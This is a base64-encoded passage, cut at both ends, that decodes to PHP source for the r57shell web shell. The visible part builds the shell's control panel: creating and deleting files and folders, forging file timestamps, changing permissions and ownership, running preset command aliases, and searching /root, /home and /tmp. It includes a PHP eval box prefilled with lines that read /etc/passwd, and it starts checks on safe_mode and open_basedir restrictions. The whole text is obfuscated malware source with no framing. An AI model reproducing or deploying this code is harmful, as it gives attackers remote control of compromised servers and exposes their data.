dCcsJ21rX25hbWUnLDU0LCghZW1wdHkoJF9QT1NUWydta19uYW1lJ10pPygkX1BPU1RbJ21rX25hbWUnXSk6KCJuZXdfbmFtZSIpKSkud3MoNCkuIjxzZWxlY3QgbmFtZT1hY3Rpb24+PG9wdGlvbiB2YWx1ZT1jcmVhdGU+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjUnXS4iPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1kZWxldGU+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjYnXS4iPC9vcHRpb24+PC9zZWxlY3Q+Ii53cygzKS4iPHNlbGVjdCBuYW1lPXdoYXQ+PG9wdGlvbiB2YWx1ZT1maWxlPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU5J10uIjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ZGlyPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYwJ10uIjwvb3B0aW9uPjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnbWsnKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEzJ10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmlmKCR1bml4ICYmQGZ1bmN0aW9uX2V4aXN0cygndG91Y2gnKSl7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTI4J10sJ2lkNScpLiR0YWJsZV91cDIuZGl2KCdpZDUnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0MyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmaWxlX25hbWUnLDQwLCghZW1wdHkoJF9QT1NUWydmaWxlX25hbWUnXSk/KCRfUE9TVFsnZmlsZV9uYW1lJ10pOigkZGlyLiIvcjU3c2hlbGwucGhwIikpKQ0KLndzKDQpLiI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyNiddLndzKDIpLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1OSddLiRhcnJvdy4iPC9iPiINCi53cygyKS5pbigndGV4dCcsJ2ZpbGVfbmFtZV9yJyw0MCwoIWVtcHR5KCRfUE9TVFsnZmlsZV9uYW1lX3InXSk/KCRfUE9TVFsnZmlsZV9uYW1lX3InXSk6KCIiKSkpKTsNCmVjaG8gc3IoMTUsIjxiPiBvciBzZXQgIERheSIuJGFycm93LiI8L2I+IiwNCicNCjxzZWxlY3QgbmFtZT0iZGF5IiBzaXplPSIxIj4NCjxvcHRpb24gdmFsdWU9IjAxIj4xPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIwMiI+Mjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMDMiPjM8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjA0Ij40PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIwNSI+NTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMDYiPjY8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjA3Ij43PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIwOCI+ODwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMDkiPjk8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjEwIj4xMDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMTEiPjExPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxMiI+MTI8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjEzIj4xMzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMTQiPjE0PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxNSI+MTU8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjE2Ij4xNjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMTciPjE3PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxOCI+MTg8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjE5Ij4xOTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjAiPjIwPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyMSI+MjE8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjIyIj4yMjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjMiPjIzPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyNCI+MjQ8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjI1Ij4yNTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjYiPjI2PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyNyI+Mjc8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjI4Ij4yODwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjkiPjI5PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIzMCI+MzA8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjMxIj4zMTwvb3B0aW9uPg0KPC9zZWxlY3Q+Jw0KLndzKDQpLiI8Yj5Nb250aCIuJGFycm93LiI8L2I+Ig0KLicNCjxzZWxlY3QgbmFtZT0ibW9udGgiIHNpemU9IjEiPg0KPG9wdGlvbiB2YWx1ZT0iSmFudWFyeSI+SmFudWFyeTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iRmVicnVhcnkiPkZlYnJ1YXJ5PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJNYXJjaCI+TWFyY2g8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IkFwcmlsIj5BcHJpbDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iTWF5Ij5NYXk8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9Ikp1bmUiPkp1bmU8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9Ikp1bHkiPkp1bHk8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IkF1Z3VzdCI+QXVndXN0PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJTZXB0ZW1iZXIiPlNlcHRlbWJlcjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iT2N0b2JlciI+T2N0b2Jlcjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iTm92ZW1iZXIiPk5vdmVtYmVyPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJEZWNlbWJlciI+RGVjZW1iZXI8L29wdGlvbj4NCjwvc2VsZWN0PicNCi53cyg0KS4iPGI+WWVhciIuJGFycm93LiI8L2I+Ig0KLicNCjxzZWxlY3QgbmFtZT0ieWVhciIgc2l6ZT0iMSI+DQo8b3B0aW9uIHZhbHVlPSIxOTk4Ij4xOTk4PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxOTk5Ij4xOTk5PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyMDAwIj4yMDAwPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyMDAxIj4yMDAxPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyMDAyIj4yMDAyPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyMDAzIj4yMDAzPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyMDA0Ij4yMDA0PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyMDA1Ij4yMDA1PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyMDA2Ij4yMDA2PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyMDA2Ij4yMDA3PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyMDA2Ij4yMDA4PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyMDA2Ij4yMDA5PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyMDA2Ij4yMDEwPC9vcHRpb24+DQo8L3NlbGVjdD4nDQoud3MoNCkuIjxiPkhvdXIiLiRhcnJvdy4iPC9iPiINCi4nDQo8c2VsZWN0IG5hbWU9ImNoYXNpIiBzaXplPSIxIj4NCjxvcHRpb24gdmFsdWU9IjAxIj4wMTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMDIiPjAyPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIwMyI+MDM8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjA0Ij4wNDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMDUiPjA1PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIwNiI+MDY8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjA3Ij4wNzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMDgiPjA4PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIwOSI+MDk8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjEwIj4xMDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMTEiPjExPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxMiI+MTI8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjEzIj4xMzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMTQiPjE0PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxNSI+MTU8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjE2Ij4xNjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMTciPjE3PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxOCI+MTg8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjE5Ij4xOTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjAiPjIwPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyMSI+MjE8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjIyIj4yMjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjMiPjIzPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyNCI+MjQ8L29wdGlvbj4NCjwvc2VsZWN0PicNCi53cyg0KS4iPGI+TWludXRlIi4kYXJyb3cuIjwvYj4iDQouJw0KPHNlbGVjdCBuYW1lPSJtaW51dGVzIiBzaXplPSIxIj4NCjxvcHRpb24gdmFsdWU9IjAxIj4xPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIwMiI+Mjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMDMiPjM8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjA0Ij40PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIwNSI+NTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMDYiPjY8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjA3Ij43PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIwOCI+ODwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMDkiPjk8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjEwIj4xMDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMTEiPjExPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxMiI+MTI8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjEzIj4xMzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMTQiPjE0PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxNSI+MTU8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjE2Ij4xNjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMTciPjE3PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxOCI+MTg8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjE5Ij4xOTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjAiPjIwPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyMSI+MjE8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjIyIj4yMjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjMiPjIzPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyNCI+MjQ8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjI1Ij4yNTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjYiPjI2PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyNyI+Mjc8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjI4Ij4yODwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjkiPjI5PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIzMCI+MzA8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjMxIj4zMTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMzIiPjMyPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIzMyI+MzM8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjM0Ij4zNDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMzUiPjM1PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIzNiI+MzY8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjM3Ij4zNzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMzgiPjM4PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIzOSI+Mzk8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjQwIj40MDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNDEiPjQxPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI0MiI+NDI8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjQzIj40Mzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNDQiPjQ0PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI0NSI+NDU8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjQ2Ij40Njwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNDciPjQ3PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI0OCI+NDg8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjQ5Ij40OTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNTAiPjUwPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI1MSI+NTE8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjUyIj41Mjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNTMiPjUzPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI1NCI+NTQ8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjU1Ij41NTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNTYiPjU2PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI1NyI+NTc8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjU4Ij41ODwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNTkiPjU5PC9vcHRpb24+DQo8L3NlbGVjdD4nDQoud3MoNCkuIjxiPlNlY29uZCIuJGFycm93LiI8L2I+Ig0KLicNCjxzZWxlY3QgbmFtZT0ic2Vjb25kIiBzaXplPSIxIj4NCjxvcHRpb24gdmFsdWU9IjAxIj4xPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIwMiI+Mjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMDMiPjM8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjA0Ij40PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIwNSI+NTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMDYiPjY8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjA3Ij43PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIwOCI+ODwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMDkiPjk8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjEwIj4xMDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMTEiPjExPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxMiI+MTI8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjEzIj4xMzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMTQiPjE0PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxNSI+MTU8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjE2Ij4xNjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMTciPjE3PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxOCI+MTg8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjE5Ij4xOTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjAiPjIwPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyMSI+MjE8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjIyIj4yMjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjMiPjIzPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyNCI+MjQ8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjI1Ij4yNTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjYiPjI2PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyNyI+Mjc8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjI4Ij4yODwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjkiPjI5PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIzMCI+MzA8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjMxIj4zMTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMzIiPjMyPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIzMyI+MzM8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjM0Ij4zNDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMzUiPjM1PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIzNiI+MzY8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjM3Ij4zNzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMzgiPjM4PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIzOSI+Mzk8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjQwIj40MDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNDEiPjQxPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI0MiI+NDI8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjQzIj40Mzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNDQiPjQ0PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI0NSI+NDU8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjQ2Ij40Njwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNDciPjQ3PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI0OCI+NDg8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjQ5Ij40OTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNTAiPjUwPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI1MSI+NTE8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjUyIj41Mjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNTMiPjUzPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI1NCI+NTQ8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjU1Ij41NTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNTYiPjU2PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI1NyI+NTc8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjU4Ij41ODwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNTkiPjU5PC9vcHRpb24+DQo8L3NlbGVjdD4nDQouaW4oJ2hpZGRlbicsJ2NtZCcsMCwndG91Y2gnKQ0KLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikNCi53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxJ10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCiRzZWxlY3Q9Jyc7DQppZihAZnVuY3Rpb25fZXhpc3RzKCdjaG1vZCcpKXskc2VsZWN0IC49ICI8b3B0aW9uIHZhbHVlPW1vZD5DSE1PRDwvb3B0aW9uPiI7fQ0KaWYoQGZ1bmN0aW9uX2V4aXN0cygnY2hvd24nKSl7JHNlbGVjdCAuPSAiPG9wdGlvbiB2YWx1ZT1vd24+Q0hPV048L29wdGlvbj4iO30NCmlmKEBmdW5jdGlvbl9leGlzdHMoJ2NoZ3JwJykpeyRzZWxlY3QgLj0gIjxvcHRpb24gdmFsdWU9Z3JwPkNIR1JQPC9vcHRpb24+Ijt9DQppZigkdW5peCAmJiRzZWxlY3Qpew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDY3J10sJ2lkNicpLiR0YWJsZV91cDIuZGl2KCdpZDYnKS4kdHM7DQplY2hvIEBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDMnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywncGFyYW0xJyw1NSwoKCRfUE9TVFsncGFyYW0xJ10pPygkX1BPU1RbJ3BhcmFtMSddKTooJGRpci4iL3I1N3NoZWxsLnBocCIpKSkud3MoMikuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDY4J10uJGFycm93LiI8L2I+Ii4iPHNlbGVjdCBuYW1lPXdoYXQ+Ii4kc2VsZWN0LiI8L3NlbGVjdD4iLndzKDQpLmluKCd0ZXh0JywncGFyYW0yIHRpdGxlPSInLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ3MSddLiciJywxMCwoKCRfUE9TVFsncGFyYW0yJ10pPygkX1BPU1RbJ3BhcmFtMiddKTooIjA3NzciKSkpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2NoXycpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MSddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQppZighJHNhZmVfbW9kZSl7DQokYWxpYXNlczIgPSAnJzsNCmZvcmVhY2ggKCRhbGlhc2VzIGFzICRhbGlhc19uYW1lPT4kYWxpYXNfY21kKQ0Kew0KJGFsaWFzZXMyIC49ICI8b3B0aW9uPiRhbGlhc19uYW1lPC9vcHRpb24+IjsNCn0NCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ3J10sJ2lkNycpLiR0YWJsZV91cDIuZGl2KCdpZDcnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLndzKDkpLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4J10uJGFycm93LndzKDQpLiI8L2I+IiwiPHNlbGVjdCBuYW1lPWFsaWFzPiIuJGFsaWFzZXMyLiI8L3NlbGVjdD4iLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MSddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTQnXSwnaWQ4JykuJHRhYmxlX3VwMi5kaXYoJ2lkOCcpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDUyJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3NfdGV4dCcsODUsJ3RleHQnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxMiddKSk7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1MyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdzX2RpcicsODUsJGRpcikuIiAqICggL3Jvb3Q7L2hvbWU7L3RtcCApIik7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1NSddLiRhcnJvdy4iPC9iPiIsaW4oJ2NoZWNrYm94JywnbSBpZD1tJywwLCcxJykuaW4oJ3RleHQnLCdzX21hc2snLDgyLCcudHh0Oy5waHAnKS4iKiAoIC50eHQ7LnBocDsuaHRtICkiLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3NlYXJjaF90ZXh0JykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQppZighJHNhZmVfbW9kZSAmJiR1bml4KXsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ3NiddLCdpZDknKS4kdGFibGVfdXAyLmRpdignaWQ5JykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NzInXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0Jywnc190ZXh0Jyw4NSwndGV4dCcpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEyJ10pKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDczJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3NfZGlyJyw4NSwkZGlyKS4iICogKCAvcm9vdDsvaG9tZTsvdG1wICkiKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDc0J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3NfbWFzaycsODUsJyouW2hjXScpLndzKDEpLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ3NSddLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2ZpbmRfdGV4dCcpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMyJ10sJ2lkMTAnKS4kdGFibGVfdXAyLiRmb250Ow0KZWNobyAiPGRpdiBhbGlnbj1jZW50ZXI+Ii5kaXYoJ2lkMTAnKS4iPHRleHRhcmVhIG5hbWU9cGhwX2V2YWwgY29scz0xMDAgcm93cz0xMD4iOw0KZWNobyAoIWVtcHR5KCRfUE9TVFsncGhwX2V2YWwnXSk/KCRfUE9TVFsncGhwX2V2YWwnXSk6KCIvL3VubGluayhcInI1N3NoZWxsLnBocFwiKTtcclxuLy9yZWFkZmlsZShcIi9ldGMvcGFzc3dkXCIpO1xyXG4vL2ZpbGVfZ2V0X2NvbnRlbnQoXCIvZXRjL3Bhc3N3ZFwiKTsiKSk7DQplY2hvICI8L3RleHRhcmVhPiI7DQplY2hvIGluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwncGhwX2V2YWwnKTsNCmVjaG8gIjxicj4iLndzKDEpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEnXSk7DQplY2hvICI8L2Rpdj48L2Rpdj48L2ZvbnQ+IjsNCmVjaG8gJHRhYmxlX2VuZDEuJGZlOw0KaWYoJHNhZmVfbW9kZSB8fCRvcGVuX2Jhc2VkaXIpDQp7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzQnXSwnaWQxMScpLiR0YWJsZV91cDIuZGl2KCdpZDExJykuJHRzOw0KZWNobyAiPHRhYmxlIGNsYXNzPXRhYmxlMSB3aWR0aD0xMDAlIGFsaWduPWNlbnRlcj4iOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzAnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDJfZmlsZScsODUsKCFlbXB0eSgkX1BPU1RbJ3R